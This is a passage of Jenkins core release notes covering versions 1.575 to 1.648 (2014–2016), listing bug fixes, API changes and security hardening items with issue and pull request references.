                                                    • - Unify CLI exit code semantics. - (issue 32273) -
                                                    • - ArrayIndexOutOfBoundsException when parsing range set. - (issue 32852) -
                                                    • - Improved Polish translation. - (pull 2041, - pull 2044) -
                                                    -

                                                    What's new in 1.648 (2016/02/17)

                                                    - -

                                                    What's new in 1.647 (2016/02/04)

                                                    -
                                                      -
                                                    • - Retrieve tool installer metadata from all update sites. - (issue 32328) -
                                                    -

                                                    What's new in 1.646 (2016/01/25)

                                                    -
                                                      -
                                                    • - The official parent POM for plugins is now hosted in the plugin-pom repository, starting with version 2.0. - (issue 32493) -
                                                    • - Under some conditions a build record could be loaded twice, leading to erratic behavior. - (issue 22767) -
                                                    • - Fields on the parameters page are no longer aligned at the bottom. - (issue 31753) -
                                                    • - Added missing translations for Polish language. - (pull 1986) -
                                                    -

                                                    What's new in 1.645 (2016/01/18)

                                                    -
                                                      -
                                                    • - Cleanup of CLI error handling and return codes. - (issue 32273) -
                                                    • - Boot failure hook script did not work, WebAppMain.contextDestroyed produces weird errors. - (issue 24696) -
                                                    • - Don't request usage statistics update if Jenkins hasn't finished loading. - (issue 32190) -
                                                    • - Split test harness into separate artifact. - (issue 32478) -
                                                    • - Fix encoding of some help files. - (pull 1975) -
                                                    • - Remove JUnit dependency pulled in from JLine. - (pull 1981) -
                                                    • - Pass $it to contents of dropdownDescriptorSelector. - (issue 19565) -
                                                    -

                                                    What's new in 1.644 (2016/01/10)

                                                    -
                                                      -
                                                    • - API changes: Add a reusable implementation of IdleOfflineCause class. - (commit 7e05b50) -
                                                    • - Add time zone to generation date in footer in most locales. - (issue 32194) -
                                                    • - Prevent renaming nodes from overwriting existing nodes. - (issue 31321) -
                                                    • - Avoid synchronization when setting/getting the list of JDKs to improve performance. - (issue 31932) -
                                                    • - The Windows service wrapper now specifies the --webroot argument to extract the war file into %BASE%. - (pull 1951) -
                                                    -

                                                    What's new in 1.643 (2015/12/20)

                                                    -
                                                      -
                                                    • - Fix when multiple clouds are set up and provisioning of a node is denied. - (issue 31219) -
                                                    • - Allow retrying core update when the first attempt failed. - (issue 11016) -
                                                    • - Allow specifying the default TCP slave agent listener port via system property. - (commit 653fbdb) -
                                                    -

                                                    What's new in 1.642 (2015/12/13)

                                                    -
                                                      -
                                                    • - Various kinds of settings could not be saved since 1.640. - (issue 31954) -
                                                    -

                                                    What's new in 1.641 (2015/12/09)

                                                    - -

                                                    What's new in 1.640 (2015/12/07)

                                                    -
                                                      -
                                                    • - Added support of default values in the enum.jelly form element. - (PR 1926) -
                                                    • - Bytecode Compatibility Transformer computes the common super class without loading classes. - Fixes the ClassCircularityError exception in Ruby Runtime Plugin. - (issue 31019) -
                                                    • - Extended Choice parameter definitions could not be saved since 1.637. - (issue 31458) -
                                                    • - Display expected CRON run times even if a warning occurs. - (issue 29059) -
                                                    • - Rework the online-node command implementation, no functional changes. - (issue 31776) -
                                                    • - Fix the footer behavior in particular cases. - (issue 30304, - issue 31395) -
                                                    • - API changes: Deprecate subclassing of hudson.Plugin. - (PR 1940) -
                                                    -

                                                    What's new in 1.639 (2015/11/29)

                                                    -
                                                      -
                                                    • - “Discard old builds†setting would be lost if resaving job configuration as of 1.637 without rechecking the box. - (issue 31518) -
                                                    • - “Form too large†errors from Jetty when submitting massive forms. - (issue 20327) -
                                                    • - Multiple workspace browser features broken on Windows masters since 1.634. - (issue 31015) -
                                                    -

                                                    What's new in 1.638 (2015/11/11)

                                                    - -

                                                    What's new in 1.637 (2015/11/08)

                                                    -
                                                      -
                                                    • - Remove useless warnings about a JDK named null. - (issue 31217) -
                                                    • - New OptionalJobProperty class to simplify JobProperty creation. - (pull 1888) -
                                                    -

                                                    What's new in 1.636 (2015/11/01)

                                                    -
                                                      -
                                                    • - Add "lastCompletedBuild" job permalink. - (issue 26270) -
                                                    -

                                                    What's new in 1.635 (2015/10/25)

                                                    -
                                                      -
                                                    • - Make Node implement Saveable. - (issue 31055) -
                                                    • - Revert trigger optimizations made in 1.621 by PR 1617. - (issue 30745) -
                                                    • - Delegate CLI's delete-node command to the overridable Computer.doDoDelete() method. - Fixes the issue in OpenStack and JClouds plugins. - (issue 31098, regression in 1.618) -
                                                    • - Prevent autocorrect of username on mobile devices in login forms. - (PR 1531) -
                                                    • - Describe the built-in JDK as "(System)". - (issue 755) -
                                                    • - Update JNA library to 4.2.1 in order to integrate fixes for linux-ppc64 and linux-arm platforms. - (issue 15792) -
                                                    -

                                                    What's new in 1.634 (2015/10/18)

                                                    -
                                                      -
                                                    • - Fix order of builds in new builds history widget introduced in 1.633. - (issue 30899) -
                                                    • - Bytecode Compatibility Transformer would fail to transform some classes resulting in ClassNotFoundException. - (issue 30820) -
                                                    • - Prevent ClassCastException in AbstractBuild::reportError() if the build step is not Publisher. - (issue 30730) -
                                                    • - Trim job names during the rename operation (it is impossible to delete or rename jobs with trailing spaces). - (issue 30502) -
                                                    • - Add "graphBg" and "plothBg" background color options to plot URLs - (PR 1769) -
                                                    • - API changes: Add get method for causes of interruption in hudson.model.Executor - (PR 1712) -
                                                    • - Allow case insensitive file patterns in Artifacts Archiving. - (issue 5253) -
                                                    • - Prevent NullPointerException while estimating duration of Queue executable items. - (issue 30456) -
                                                    • - Fix the resolution of Windows symbolic links in SecretRewriter. - (issue 30456) -
                                                    • - Let a combobox display its drop-down when focused, so users can see candidates without entering a letter. - (issue 26278) -
                                                    -

                                                    What's new in 1.633 (2015/10/11)

                                                    -
                                                      -
                                                    • - Added safari pinned tab icon. - (discussion) -
                                                    • - Plugin Manager UI changes to prevent users from enabling/disabling/uninstalling plugins at the "wrong" time. - (issue 23150) -
                                                    • - bytecode-compatibility-transformer produces malformed bytecode. - (issue 28781) -
                                                    • - Properly handle RuntimeExceptions in run retention policy handler calls. - (issue 29888) -
                                                    • - Prevent NullPointerException in CLI if Jenkins cannot find the specified job - or a job with the nearest name. - (issue 30742) -
                                                    • - Do not show REST API link for pages, which have no API handlers. - (issue 29014) -
                                                    • - JS alert preventing to leave a configuration page without changes. - (issue 21720) -
                                                    • - JS error triggered by collapsing build history widget. - (issue 30569) -
                                                    • - Build history pagination and search. - (issue 26445) -
                                                    -

                                                    What's new in 1.632 (2015/10/05)

                                                    -
                                                      -
                                                    • - Optimize TagCloud size calculation. - (issue 30705) -
                                                    • - FlyWeightTasks tied to a label will not cause node provisioning and will be blocked forever. - (issue 30084) -
                                                    • - Prevent NullPointerException for disabled builds in ReverseBuildTrigger. - (issue 29876) -
                                                    • - ConsoleLogFilter wasn't truly global - (issue 30777) -
                                                    • - API changes: hudson.Util.isOverridden() now supports protected methods. - (issue 30002) -
                                                    • - Sidepanel controls with confirmation (lib/layout/task) did not assign the proper CSS style. - (issue 30787) -
                                                    -

                                                    What's new in 1.631 (2015/09/27)

                                                    -
                                                      -
                                                    • - Add proper labels for plugin categories assigned to some plugins. - (PR 1758) -
                                                    -

                                                    What's new in 1.630 (2015/09/20)

                                                    -
                                                      -
                                                    • - Make JenkinsRule useable on systems which don't support JNA - (issue 29507) -
                                                    -

                                                    What's new in 1.629 (2015/09/15)

                                                    -
                                                      -
                                                    • - Old data monitor made Jenkins single-threaded for all saves. - (issue 30139) -
                                                    -

                                                    What's new in 1.628 (2015/09/06)

                                                    -
                                                      -
                                                    • - Replaced all non java.util.logging logging libraries with slf4j interceptors. - (PR 1816) -
                                                    • - Document allBuilds subtree in remote API for jobs. - (PR 1817) -
                                                    -

                                                    What's new in 1.627 (2015/08/30)

                                                    -
                                                      -
                                                    • - Race condition in triggers could cause various NullPointerExceptions. - (issue 29790) -
                                                    • - Archiving of large artifacts. Tar implementation cannot handle files having a size >8GB. - (issue 10629) -
                                                    • - Allow plugins to augment or replace the plugin manager UI. - (PR 1788) -
                                                    -

                                                    What's new in 1.626 (2015/08/23)

                                                    -
                                                      -
                                                    • - RunIdMigrator fails to revert Matrix and Maven jobs. - (issue 29989) -
                                                    • - Fix error message "Failed to listen to incoming slave connection" after fixing port through init.groovy.d. - (issue 29798) -
                                                    • -
                                                    -

                                                    What's new in 1.625 (2015/08/17)

                                                    -
                                                      -
                                                    • - Fixed a deadlock between the old data monitor and authorization strategies. - (issue 29936) -
                                                    • - Allow rejecting configurations with errors in critical fields via REST / CLI. - (issue 28440) -
                                                    • - Do not display No changes if changelog is still being computed. - (issue 2327) -
                                                    -

                                                    What's new in 1.624 (2015/08/09)

                                                    -
                                                      -
                                                    • - Allow more job types to use a custom "Build Now" text. - (issue 26147) -
                                                    -

                                                    What's new in 1.623 (2015/08/02)

                                                    -

                                                    No notable changes in this release.

                                                    -

                                                    What's new in 1.622 (2015/07/27)

                                                    -
                                                      -
                                                    • - Jenkins now support self-restart and daemonization in FreeBSD - (PR 1770) -
                                                    • - Node provisioner may fail to correctly indicate that provisioning was finished. - (issue 29568) -
                                                    -

                                                    What's new in 1.621 (2015/07/19)

                                                    -
                                                      -
                                                    • - Sort by 'Free Disk Space' is incorrect. - (issue 29286) -
                                                    • - Label expression help is missing in recent Jenkins versions. - (issue 29376) -
                                                    • - Preemptively break memory cycles causing excessive live-set retention in remoting layer. - (issue 28844) -
                                                    • - Don't run trigger for disabled/copied projects. - (PR 1617) -
                                                    -

                                                    What's new in 1.620 (2015/07/12)

                                                    -
                                                      -
                                                    • - Display system info even when slave is temporarily offline. - (issue 29300) -
                                                    -

                                                    What's new in 1.619 (2015/07/05)

                                                    -
                                                      -
                                                    • - Update auto-installer metadata for newly installed plugins. - (issue 27694) -
                                                    • - Allow plugins to veto process killing. - (issue 9104) -
                                                    -

                                                    What's new in 1.618 (2015/06/29)

                                                    -
                                                      -
                                                    • - Fix deadlock in hudson.model.Executor. - (issue 28690) -
                                                    • - Don't truncate /consoleText output after fixed number of lines. - (issue 14899) -
                                                    • - Allow delete-* CLI commands to operate on multiple arguments. - (issue 28041) -
                                                    • - Prevent NullPointerException in Executor/causeOfDeath page if - there is no exception details. - (issue 25734) -
                                                    • - Fixed synchronization issue when setting JDK installations. - (issue 28292) -
                                                    • - Fix several loggers which are identifying as the wrong class. - (PR 1651) -
                                                    • - Revert fix for issue 17290 due to the regressions it caused. - (issue 28601) -
                                                    • - Fix deadlock between hudson.model.Queue and hudson.model.Computer. - (issue 28840) -
                                                    • - Fix jobs getting stuck in the Queue when there exists a cycle of upstream/downstream blocks between them. - (issue 28926) -
                                                    • - Always use earlier start time when merging two equivalent queue items. - (issue 2180) -
                                                    -

                                                    What's new in 1.617 (2015/06/07)

                                                    -
                                                      -
                                                    • - Regression in build-history causing ball to not open console - (issue 28704) -
                                                    • - JNLP slaves did not pick up changes to environment variables. - (issue 27739) -
                                                    • - NullPointerException in AbstractProject constructor - if Jenkins nodes has not been loaded yet - (issue 28654) -
                                                    -

                                                    What's new in 1.616 (2015/05/31)

                                                    -
                                                      -
                                                    • - Job loading can be broken by NullPointerException in a build trigger - (issue 27549) -
                                                    -

                                                    What's new in 1.615 (2015/05/25)

                                                    -
                                                      -
                                                    • - Improper calculation of queue length in UnlabeledLoadStatistics - causing overheads in Cloud slave provisioning - (issue 28446) -
                                                    • - Category titles in Available Plugins list appear wrong in reverse sort order - (issue 17290) -
                                                    • - CronTab API: Timezone support for scheduling - (issue 9283) -
                                                    • - NullPointerException when trying to reset Jenkins admin address - (issue 28419) -
                                                    • - Reduce the thread overhead in NodeMonitorUpdater - (PR 1714) -
                                                    • - Build history overflows - (issue 28425) -
                                                    • - Build History badges don't wrap - (issue 28455) -
                                                    -

                                                    What's new in 1.614 (2015/05/17)

                                                    -
                                                      -
                                                    • - ExtensionList even listener. - (issue 28434) -
                                                    • - NullPointerException computing load statistics under some conditions. - (issue 28384) -
                                                    • - Plugins using class loader masking did not work properly over the slave channel. - (issue 27289) -
                                                    • - DefaultJnlpSlaveReceiver now returns true when rejecting a takeover. - (issue 27939) -
                                                    • - Do not follow href after sending POST via l:task - (issue 28437) -
                                                    -

                                                    What's new in 1.613 (2015/05/10)

                                                    -
                                                      -
                                                    • - Update bundled LDAP plugin in order to restore missing help files - (issue 28233) -
                                                    • - hudson.model.Run.getLog() throws IndexOutOfBoundsException when called with maxLines=0 - (issue 27441) -
                                                    -

                                                    What's new in 1.612 (2015/05/03)

                                                    -
                                                      -
                                                    • - Jenkins now requires Java 7. - (announcement, - issue 28120) -
                                                    • - Handle AbortException publisher status in the same way as deprecated false boolean status - (issue 26964) -
                                                    • - Ensures GlobalSettingsProvider does not swallow fatal exceptions - (issue 26604) -
                                                    • - add datestamp to node-offline message - (issue 23917) -
                                                    • - Larger minimum popup menu height. - (issue 27067) -
                                                    • - Descriptor.getId fix in 1.610 introduced regressions affecting at least the Performance and NodeJS plugins. - (issue 28093 and issue 28110) -
                                                    • - Under rare conditions Executor.getProgress() can throw a Division by zero exception. - (issue 28115) -
                                                    • - The Run from the command line option for launching a JNLP slave should display the - configured JVM options. - (issue 28111) -
                                                    -

                                                    What's new in 1.611 (2015/04/26)

                                                    -
                                                      -
                                                    • - Descriptor.getId fix in 1.610 introduced a regression affecting at least the Copy Artifacts plugin. - (issue 28011) -
                                                    • - Search box did not work well inside folders. - (issue 24433) -
                                                    • - Revert changes in 1.610 made to resolve issue 10629. - (issue 28012, issue 28013) -
                                                    • - Advertise JNLP slave agents to the correct host name, even in the presence of a reverse proxy. - (issue 27218) -
                                                    • - Advertised TCP slave agent port number is made tweakable. -
                                                    • - Correctly identify Channel listener onClose propagated exceptions - (issue 28062 -
                                                    -

                                                    What's new in 1.610 (2015/04/19)

                                                    -
                                                      -
                                                    • - Since 1.598 overrides of Descriptor.getId were not correctly handled by form binding, breaking at least the CloudBees Templates plugin. - (issue 26781) -
                                                    • - Reverted in 1.611, reimplemented in 1.627. Archiving of large artifacts. Tar implementation cannot handle files having a size >8GB. - (issue 10629) -
                                                    • - The queue state was not updated between scheduling builds. - (issue 27708, - issue 27871) -
                                                    -

                                                    What's new in 1.609 (2015/04/12)

                                                    -
                                                      -
                                                    • - When concurrent builds are enabled, artifact retention policy may delete artifact being - used by an actually running build. - (issue 27836) -
                                                    • - Documentation for $BUILD_ID did not reflect current reality - (issue 26520) -
                                                    -

                                                    What's new in 1.608 (2015/04/05)

                                                    -
                                                      -
                                                    • - PeepholePermalink RunListenerImpl oncompleted should be triggered before downstream builds are triggered. - (issue 20989) -
                                                    • - NPE when /script used on offline slave. - (issue 26751) -
                                                    • - Make periodic workspace cleanup configurable through system properties. - (issue 21322) -
                                                    • - Do not offer to restart on /restart and /safeRestart if the configuration does not support it. - (issue 27414) -
                                                    • - Polling was skipped while quieting down, resulting in ignored commit notifications. This behavior was changed. - (issue 26208) -
                                                    • - Starting this version, native packages are produced from the new repository. - File issues related to installers and packages in the packaging component. -
                                                    -

                                                    What's new in 1.607 (2015/03/30)

                                                    -
                                                      -
                                                    • - JSONP served with the wrong MIME type and rejected by Chrome. - (issue 27607) -
                                                    • - Security file pattern whitelist was broken for some plugins since 1.597. - (issue 27055) -
                                                    • - Lock an Executor without creating a Thread - (issue 25938) -
                                                    • - Hide flyweight master executor when ≥1 heavyweight executors running as subtasks - (issue 26900) -
                                                    • - Way to mark an Executable that should not block isReadyToRestart - (issue 22941) -
                                                    • - Refactor the Queue and Nodes to use a consistent locking strategy - (issue 27565) - Note that this change involved moving slave definitions outside the main config.xml file. - If you downgrade after this, your slave settings will be lost. -
                                                    • - Makes the Jenkins is loading screen not block on the extensions loading lock - (issue 27563) -
                                                    • - AdjunctManager: exception upon startup - (issue 15355) -
                                                    • - Removes race condition rendering the list of executors - (issue 27564) -
                                                    • - Tidy up the locks that were causing deadlocks with the once retention strategy in durable tasks - (issue 27476) -
                                                    • - Remove any requirement from Jenkins Core to lock on the Queue when rendering the Jenkins UI - (issue 27566) -
                                                    • - Prevent lazy loading operation when obtaining label information. - (issue 26391) -
                                                    • - Ensure that the LoadStatistics return a self-consistent result. - (issue 21618) -
                                                    • - Build reports to be running for 45 yr and counting. - (issue 26777) -
                                                    -

                                                    What's new in 1.606 (2015/03/23)

                                                    -
                                                      -
                                                    • - Jenkins CLI doesn't handle arguments with equal signs - (issue 21160) -
                                                    • - master/slave communication ping reacts badly if a clock jumps. - (issue 21251) -
                                                    • - JNLP slaves can now connect to master through HTTP proxy. - (issue 6167) -
                                                    • - Fixes to several security vulnerabilities. - (advisory) -
                                                    -

                                                    What's new in 1.605 (2015/03/16)

                                                    -
                                                      -
                                                    • - Integrate Stapler fix for queue item API always returning 404 Not Found since 1.601. - (issue 27256) -
                                                    -

                                                    What's new in 1.604 (2015/03/15)

                                                    -
                                                      -
                                                    • - Added a switch (-Dhudson.model.User.allowNonExistentUserToLogin=true) to let users login even when the record is not found in the backend security realm. - (issue 22346) -
                                                    • - Avoid deadlock when using build-monitor-plugin. - (issue 27183) -
                                                    • - As security hardening, mark "remember me" cookie as HTTP only - (issue 27277) -
                                                    • - Show displayName in build remote API. - (issue 26723) -
                                                    -

                                                    What's new in 1.602 (2015/03/08)

                                                    -
                                                      -
                                                    • - Show Check Now button also on Available and Updates tabs of plugin manager. - (PR 1593) -
                                                    -

                                                    What's new in 1.601 (2015/03/03)

                                                    -
                                                      -
                                                    • - Regression with environment variables in 1.600. - (issue 27188) -
                                                    • - Errors with concurrent matrix builds since 1.597. - (issue 26739) -
                                                    • - Errors in Dashboard View plugin since 1.597. - (issue 26690) -
                                                    • - Robustness improvement when setting up Archive Artifacts programmatically. - (issue 25779) -
                                                    • - Map Queue.Item.id onto Run - (issue 27096) -
                                                    -

                                                    What's new in 1.600 (2015/02/28)

                                                    -
                                                      -
                                                    • - Fixes to multiple security vulnerabilities. - (security advisory) -
                                                    • - JDK auto-installer for Mac OSX -
                                                    • - An error thrown in the wrong place in a publisher could result in a failure to release a workspace lock. - (issue 26698) -
                                                    • - Cache node environment to prevent unnecessary channel usage - (issue 26755) -
                                                    • - Build history text field wrap fails when containing markup - (issue 26406) -
                                                    • - Maven build step fail to launch mvn process when special chars are present in build variables. - (issue 26684) -
                                                    -

                                                    What's new in 1.599 (2015/02/16)

                                                    -
                                                      -
                                                    • - Errors in some Maven builds since 1.598. - (issue 26601) -
                                                    • - Build format change migrator in 1.597 did not work on some Windows systems. - (issue 26519) -
                                                    • - Remote FilePath.chmod fails with ClassNotFoundException: javax.servlet.ServletException. - (issue 26476) -
                                                    • - Added SimpleBuildWrapper API. - (issue 24673) -
                                                    • - Animated ball in job's build history widget won't open Console Output. - (issue 26365) -
                                                    • - Show job name in Schedule Build column tool tip. - (issue 25234) -
                                                    • - Allow OldDataMonitor to discard promoted-build-plugin Promotions - (issue 26718) -
                                                    -

                                                    What's new in 1.598 (2015/01/25)

                                                    -
                                                      -
                                                    • - FutureImpl does not cancel its start future. - (issue 25514) -
                                                    • - Flyweight tasks were under some conditions actually being run on heavyweight executors. - (issue 10944) - (issue 24519) -
                                                    • - Folder loading broken when child item loading throws exception. - (issue 22811) -
                                                    • - Plugin icon images were broken when running Jenkins from a UNC path. - (issue 26203) -
                                                    • - Allow admin signup from /manage as well. - (issue 26382) -
                                                    • - Amend JAVA_HOME check to work with JDK 9. - (issue 25601) -
                                                    • - CLI list-jobs command should display raw name, not display name, where they differ. - (issue 25338) -
                                                    • - Show queue item parameters in tool tip. - (issue 22311) -
                                                    • - Better support functional tests from Gradle-based plugins. - (issue 26331) -
                                                    • - Allow users to delete builds even if they are supposed to be kept. - (issue 26281) -
                                                    • - Fixed side/main panel scrolling issues. - (issue 26312, - issue 26298, - issue 26306) -
                                                    • - Improve error reporting when channel closed during build. - (issue 26411) -
                                                    • - Fixed CodeMirror issue with height and re-enabled syntax highlighting in shell build step. - (issue 25455, - issue 23151) -
                                                    -

                                                    What's new in 1.597 (2015/01/19)

                                                    -
                                                      -
                                                    • - JENKINS_HOME layout change: builds are now keyed by build numbers and not timestamps. - See Wiki for details - and downgrade. - (issue 24380) -
                                                    • - Do not throw exception on /signup when not possible. - (issue 11172) -
                                                    • - Tool installer which downloads and unpacks archives should not fail the build if the tool already exists and the server returns an error code. - (issue 26196) -
                                                    • - Fingerprint compaction aggravated lazy-loading performance issues. - (issue 19392) -
                                                    • - Possible unreleased workspace lock if SCM polling fails during setup. - (issue 26201) -
                                                    • - Misleading description of the 'workspace' permission. - (issue 20148) -
                                                    • - Run parameters should show display name if set, rather than build numbers. - (issue 25174) -
                                                    • - Add range check for H(X-Y) syntax. - (issue 25897) -
                                                    -

                                                    What's new in 1.596 (2015/01/04)

                                                    -
                                                      -
                                                    • - Build page was broken in Hungarian localization while building. - (issue 26155) -
                                                    • - Allow breaking label and node lists. - (issue 25989) -
                                                    -

                                                    What's new in 1.595 (2014/12/21)

                                                    -
                                                      -
                                                    • - Spurious warnings in the log after deleting builds. - (issue 25788) -
                                                    • - Master labels disappear when system configuration is updated. - (issue 23966) -
                                                    • - Updated icon-set dependency to version 1.0.5. - (issue 25499, - issue 25498) -
                                                    -

                                                    What's new in 1.594 (2014/12/14)

                                                    -
                                                      -
                                                    • - After recent Java security updates, Jenkins would not gracefully recover from a deleted secrets/master.key. - (issue 25937) -
                                                    • - Restrict where this project can be run regressed in 1.589 when using the ClearCase plugin. - (issue 25533) -
                                                    -

                                                    What's new in 1.593 (2014/12/07)

                                                    - -

                                                    What's new in 1.592 (2014/11/30)

                                                    -
                                                      -
                                                    • - Performance problems on large workspaces associated with validating file include patterns. - (issue 25759) -
                                                    -

                                                    What's new in 1.591 (2014/11/25)

                                                    -
                                                      -
                                                    • - Always use forward slashes in path separators during in ZIP archives generated by Directory Browser - (issue 22514) -
                                                    -

                                                    What's new in 1.590 (2014/11/16)

                                                    -
                                                      -
                                                    • - Basic Authentication in combination with Session is broken - (issue 25144) -
                                                    • - Some plugins broken since 1.584 if they expected certain events to be fired under a specific user ID. - (issue 25400) -
                                                    • - Fixed various real or potential resource leaks discovered by Coverity Scan - (pull request 1434) -
                                                    • - API changes: Expose AbstractProject.AbstractProjectDescriptor#validateLabelExpression for plugins. - (pull request 1456) -
                                                    • - API method to aggregate multiple FormValidations into one. - (pull request 1458) -
                                                    • - API method to get non-null Jenkins instance with internal validation - (issue 23339) -
                                                    -

                                                    What's new in 1.589 (2014/11/09)

                                                    -
                                                      -
                                                    • - JNA error in WindowsInstallerLink.doDoInstall. - (issue 25358) -
                                                    • - Restore compatibility of label assignment for some plugins. - (issue 25372) -
                                                    -

                                                    What's new in 1.588 (2014/11/02)

                                                    -
                                                      -
                                                    • - Unnecessarily slow startup time with a massive number of jobs. - (issue 25473) -
                                                    • - Custom workspace option did not work under some conditions. - (issue 25221) -
                                                    -

                                                    What's new in 1.587 (2014/10/29)

                                                    -
                                                      -
                                                    • - Queue didn't always leave a trail for cancelled items properly - (issue 25314) -
                                                    • - JNA update for deprecated JNA-POSIX library. - (issue 24527) -
                                                    • - Introduced slave-to-master security mechanism to defend a master from slaves. - (SECURITY-144) -
                                                    -

                                                    What's new in 1.586 (2014/10/26)

                                                    -
                                                      -
                                                    • - Bumping up JNA to 4.10. This is potentially a breaking change for plugins that depend on JNA 3.x - (issue 24521) -
                                                    • - Prevent empty file creation if file parameter is left empty. - (issue 3539) -
                                                    • - Servlet containers may refuse to let us set secure cookie flag. - Deal with it gracefully. - (issue 25019) -
                                                    • - Existing FileParameters should be handled as different values to avoid merging of queued builds - (issue 19017) -
                                                    -

                                                    What's new in 1.585 (2014/10/19)

                                                    -
                                                      -
                                                    • - Build health computed repeatedly for a single Weather column cell. - (issue 25074) -
                                                    • - Missing workspace page should use 404 status code. - (issue 10450) -
                                                    • - Fixed memory leak occurring on pages producing incremental output with a progress bar. - (issue 25081) -
                                                    • - Updated SSH Slaves plugin to 1.8. -
                                                    • - Due to the reaction, default umask in debian package is set back to 022 - (issue 25065) -
                                                    • - Greater-than characters are not escaped in HTML outputs like e-mails - (issue 16184) -
                                                    • - Thread starvation from OldDataMonitor. - (issue 24763) -
                                                    • - Integer overflow in quiet-down timeout calculation - (issue 24914) -
                                                    • - Don't put session IDs in URLs even when cookies are disabled. - (issue 22358) -
                                                    • - Show keep build log reason in tool tips - (pull request 1422) -
                                                    • - Do not disable projects, which do not support such operation (like Matrix configurations) - (issue 24340) -
                                                    • - Improved the scalability of SSH slaves plugin caused by global lock in SecureRandom - (issue 20108) -
                                                    • - Incorporated a fix for "Poodle" (CVE-2014-3566) vulnerability in the HTTPS connector of "java -jar jenkins.war" - (issue 25169) -
                                                    -

                                                    What's new in 1.584 (2014/10/12)

                                                    -
                                                      -
                                                    • - Diagnostic thread names are now available while requests are still in filters -
                                                    • - When killing Windows processes, check its critical flag to avoid BSoD - (issue 24453) -
                                                    • - When a user could not see a view, but could delete/move/rename jobs contained in it, the view was not properly updated. - (issue 22769) -
                                                    • - Use POST for cancel quiet down link. - (issue 23020, - issue 23942) -
                                                    • - Do not consider port in use error to be a successful start of Jenkins on Debian. - (issue 24966) -
                                                    -

                                                    What's new in 1.583 (2014/10/01)

                                                    - -

                                                    What's new in 1.582 (2014/09/28)

                                                    -
                                                      -
                                                    • - Channel reader thread can end up consuming 100% CPU. - (issue 23471) -
                                                    • - CancelledKeyException can cause all JNLP slaves to disconnect (and the problem remains until restart). - (issue 24050) -
                                                    • - Consider dynamic label assignments for label load statistics. - (issue 15576) -
                                                    • - Use Windows line endings for batch file build steps. - (issue 7478) -
                                                    • - Reduced the logging clutter about the lack of @ExportedBean. - (issue 24458) -
                                                    • - Character encoding problem in form submission when file parameters are present. - (issue 11543) -
                                                    • - Improved error handling and "in-progress" UI feedback in JNLP slave to service installation. -
                                                    • - Winstone 2.4: reverse proxy support in the logging, request header size limit control, and different private key password from keystore password. - (issue 23665) -
                                                    • - umask setting on Debian did not work. - (pull 1397) -
                                                    • - handle job move when buildDir is configured to a custom location. - (issue 24825) -
                                                    -

                                                    What's new in 1.581 (2014/09/21)

                                                    -
                                                      -
                                                    • - Use slightly larger Jenkins head icon. - (pull 1360) -
                                                    • - Allow setting a system property to disable X-Frame-Options header. - (issue 21881) -
                                                    • - Explicitly set background color of various UI elements to white. - (issue 24625) -
                                                    • - Wrong Hebrew localization resulted in broken console output since 1.539. - (issue 24614) -
                                                    -

                                                    What's new in 1.580 (2014/09/14)

                                                    -
                                                      -
                                                    • - Health reports saved to disk before 1.576 showed no weather icon since that version. - (issue 24407) -
                                                    • - Renaming jobs fails if parent dir of custom build records directory does not exist. - (issue 19764) -
                                                    • - Add editable descriptions for label atoms. - (issue 6153) -
                                                    -

                                                    What's new in 1.579 (2014/09/06)

                                                    -
                                                      -
                                                    • - ConcurrentModificationException in RunListProgressiveRendering. - (issue 21437) -
                                                    • - StackOverflowError for some old SCMListeners. - (issue 23522) -
                                                    • - Job status page shows "Build has been executing for null on master" for flyweight tasks. - (issue 20307) -
                                                    • - File locking issue when running functional tests on Windows. - (issue 21977) -
                                                    • - Tolerate ?auto_refresh in reverse proxy check on /manage page. - (issue 24014) -
                                                    • - Debian package now sets umask to 027 by default for better default privacy. See /etc/default/jenkins to change this. - (issue 24514) -
                                                    -

                                                    What's new in 1.578 (2014/08/31)

                                                    -
                                                      -
                                                    • - Added 'no-store' to the 'Cache-Control' header to avoid accidental information leak through local cache backup - (issue 24337) -
                                                    • - Deadlock in OldDataMonitor. - (issue 24358) -
                                                    • - Use absolute links for computer sidepanel items so they don't break as easily. - (issue 23963) -
                                                    -

                                                    What's new in 1.577 (2014/08/24)

                                                    -
                                                      -
                                                    • - Failure to migrate legacy user records in 1.576 properly broke Jenkins, resulted in NullPointerExceptions. - (issue 24317) -
                                                    • - Jenkins did not correctly display icons contributed by plugins in 1.576. - (issue 24316) -
                                                    • - Moved JUnit reporting functionality to a plugin. - (issue 23263) -
                                                    • - Fixed ClassCastException on org.dom4j.DocumentFactory - (issue 13709) -
                                                    • - Jenkins now logs warnings when it fails to export objects to XML/JSON. - This can result in a lot of log output in case of heavy API use. - We recommend that API users use the ?tree parameter instead of ?depth. - (commit) -
                                                    • - Allow BuildStep to work with non-AbstractProject - (issue 23713) -
                                                    • - Improved class loading performance when using Groovy. - (issue 24309) -
                                                    • - Prevent NullPointerException from Executor.run. - (issue 24110) -
                                                    • - Make the lifetime of queue items cache configurable. - (issue 19691) -
                                                    • - Support --username/--password authentication for CLIMethod based CLI commands. - (issue 23988) -
                                                    • - Don't link to /safeRestart after update if Jenkins cannot restart itself. - (issue 24032) -
                                                    • - Properly consider busy executors when reducing a node's executor count. - (issue 24095) -
                                                    -

                                                    What's new in 1.576 (2014/08/18)

                                                    -
                                                      -
                                                    • - Worked around "incompatible InnerClasses attribute" bug in IBM J9 VM - (issue 22525) -
                                                    • - Fixed a file descriptor leak with CLI connections. - (issue 23248) -
                                                    • - Fixed a regression that removed all users with uppercase letters in the user name since 1.566. - (issue 23872) -
                                                    • - Improving security of set-build-parameter and set-build-result CLI commands. - (issue 24080) -
                                                    • - Startup can be broken by deeply recursive causes in build records. - (issue 24161) -
                                                    • - Displaying unabridged test result trend on project index page defeated lazy loading. - (issue 23945) -
                                                    • - Added support for host:port format in X-Forwarded-Host header. - (commit 19d8b80) -
                                                    • - API to launch processes without printing the command line. - (issue 23027) -
                                                    • - Added option to increase impact of test failures on the weather report. - (issue 24006) -
                                                    • - Modernized sidebar <l:pane>s and making them work better with new layout. - (issue 23810, - issue 23829) -
                                                    • - Add option to CLI to skip key authentication (e.g. when there's a password on the default key). - (issue 23970) -
                                                    • - Modernize tabBar and bigtable. Makes the project view look better. Same for Plugin Manager. - (issue 24030) -
                                                    -

                                                    What's new in 1.575 (2014/08/10)

                                                    -
                                                      -
                                                    • - Move option to fingerprint artifacts to Archive the Artifacts, Advanced options. - (commit f43a450) -
                                                    • - Move option to keep dependencies (builds) from Fingerprint to Advanced Project Options. - (commit a8756c6) -
                                                    • - Improved validation of Build Record Root Directory setting. - (issue 14538) -
